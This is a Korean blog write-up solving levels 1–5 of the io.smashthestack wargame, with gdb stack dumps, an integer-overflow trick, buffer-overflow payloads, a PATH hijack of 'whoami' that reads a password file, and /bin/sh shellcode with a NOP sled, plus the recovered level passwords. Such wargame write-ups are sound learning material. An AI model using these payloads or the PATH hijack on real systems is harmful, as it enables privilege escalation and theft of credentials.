level 01 : 숫자 3개를 입력하라고 한다. 근데 틀리면 아무런 반응이 없다. gdb로 연 결과 매우 간단한 어셈블리어가 보인다. fscanf로 입력받은 후 0x0804808f <+15>: cmp $0x10f,%eax
에서 10f와 비교하는것 같다.... 10f는 10진수로 271이다. 271을 입력해주면 답.
3ywr07ZFw5IsdKzU
level 02 : 소스코드를 볼 수 있다고 해서 봤는데 시그널이 있다. 해당 시그널을 발생시켜야 쉘이 실행되는데, 시그널이 어떤건지 모르겠다. 찾아봤더니 The SIGFPE signal reports a fatal arithmetic error.
라고 나와있다. 치명적인 산술 에러 발생시 저 시그널이 나온다고 한다. 그러면 0으로 나누면 될거같은데 바로 윗줄에 0으로 나누면 안된다는 조건이 걸려있다. 그러면 오버플로우를 일으키면 될것같다.
./level02 -2147483648 -1 처럼 하면 소스코드대로 따라가게되면 오버플로우 에러가 뜨면서 해결된다.
IFd92yzOnSMv9tkX
level 03 : aaaa넣고 실행해보면 현재 주소는 어디라고, 어디로 가야 한다고 한다. 소스코드도 있는데 받은 인자로 memcpy로 복사해준다. gdb로 파일을 열어서 memcpy후에 브레이크포인트를 건 후 aaaa로 실행시키고 스택 구조를 보니..
(gdb) x/40x $esp
0xbffffc40: 0xbffffc60 0xbffffe8a 0x00000004 0x00000001
0xbffffc50: 0xb7fff908 0xbffffc86 0xbffffc90 0xb7ef076c
0xbffffc60: 0x61616161 0xb7e9d315 0xbffffc87 0x00000001
0xbffffc70: 0x00000000 0x080497c8 0xbffffc88 0x08048338
0xbffffc80: 0xb7ff0590 0x080497c8 0xbffffcb8 0x080485a9
0xbffffc90: 0xb7fcf324 0xb7fceff4 0x08048590 0xbffffcb8
0xbffffca0: 0xb7e9d515 0xb7ff0590 0x0804859b 0x080484a4
0xbffffcb0: 0x08048590 0x00000000 0xbffffd38 0xb7e84e46
0xbffffcc0: 0x00000002 0xbffffd64 0xbffffd70 0xb7fe0860
0xbffffcd0: 0xb7ff6821 0x0177ff8e 0xb7ffeff4 0x08048274
라고 나온다. 내가 입력한건 윗부분의 0x61616161이고, 덮어씌워야 할 부분은 아래의 진한부분이다.
76개를 아무거나 입력한 후 good함수의 주소로 덮어씌우면 된다.
./level03 `python -c 'print "a"*76+"\x74\x84\x04\x08"'`
nSwmULj2LpDnRGU2
level 04 :
level4@io:/levels$ cat level04.c
//writen by bla
#include <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}
라는 소스가 있는데, whoami를 절대 경로가 아니라 그냥 불러온다. 이건 환경변수 PATH에 경로가 등록되 있다는 뜻이다. 이게 뭔지 찾아보면
level4@io:/tmp/mydir$ find / -name whoami 2>/dev/null
/usr/bin/whoami
라고 나온다. echo $PATH로 환경변수를 출력해보면 경로 중에 /usr/bin의 경로가 있어서 whoami를 절대경로로 쓰지 않아도 자동으로 실행시킬수 있다는걸 알 수 있다. 그럼 이제 우리가 환경변수를 조작해서 whoami라는 프로그램을 미리 만들어둔 뒤, 그걸 실행하게 하면 된다. whoami는 쉘을 실행시키거나 비밀번호를 출력하게 하면 된다. /tmp/에 mydir/라는 디렉터리를 만들고 그 내부에 비밀번호,또는 쉘을 실행시키는 프로그램을 만들어둔다. (cat /home/level5/.pass)
그후 PATH="/tmp/mydir:$PATH" 로 방금 만든 디렉터리를 환경변수에 추가해준다. 그리고
level4@io:/tmp/mydir$ echo $PATH
/tmp/mydir:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
처럼 내가 등록한 환경변수가 앞에 있어서 더 우선권이 있음을 알 수 있다.
/levels/level04를 실행하면 내가 등록한 프로그램이 실행되어 비밀번호가 보인다.
level4@io:/tmp/mydir$ ./levels/level04
Welcome LOoCy5PbKi63qXTh
level 05 :
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
로 소스가 나온다. 버퍼 오버플로우.... 그런데 io.smashthestack서버의 버전이 낮은 버전이 아니어서 버퍼에 쉘코드를 넣고 실행시키는게 안된다. 환경변수에 넣고 실행시키면 된다. 안전하게 nop을 1000개쯤 채워 둔다.
level5@io:/levels$ export sh=`python -c 'print "\x90"*1000+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
그리고 /tmp에 아무 디렉터리나 만들어서 거기로 들어가서 환경변수의 주소를 가져오는 프로그램을 만든다.
level5@io:/levels$ cat /tmp/sh/env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
printf("address = %p\n",getenv(argv[1]));
return 0;
}
환경변수의 주소를 알았으면 환경변수로 버퍼를 채우면 된다. 아직 실력이 낮아서 모르겠는데 gdb로 검색해보면 0xa8(168)의 공간을 할당한다. 근데 ret이 특이하게 0xa8이 되기 전에 있다. 대충 위에서 버퍼에 128바이트를 할당하는데 노가다 하다보면
./level05 `python -c 'print "a"*140+"\x62\xfb\xff\xbf"'` 이렇게 140개 이후에 성공하는걸 알 수 있다. 이게 아니면 ./level05 `python -c 'print "\x62\xfb\xff\xbf"*400'` 이렇게 마구잡이로 덮어씌워도 된다.
sh-4.2$ cat /home/level6/.pass
rXCikld0ex3EQsnI
'systemhacking > practice' 카테고리의 다른 글
fedoracore 3 iron_golem->dark_eyes (0) | 2015.02.17 |
---|---|
fedoracore 3 gate->iron_golem (0) | 2015.02.15 |
bof xavius->death_knight (0) | 2015.02.01 |
lob nightmare->xavius (0) | 2015.01.30 |
lob succubus->nightmare (0) | 2015.01.30 |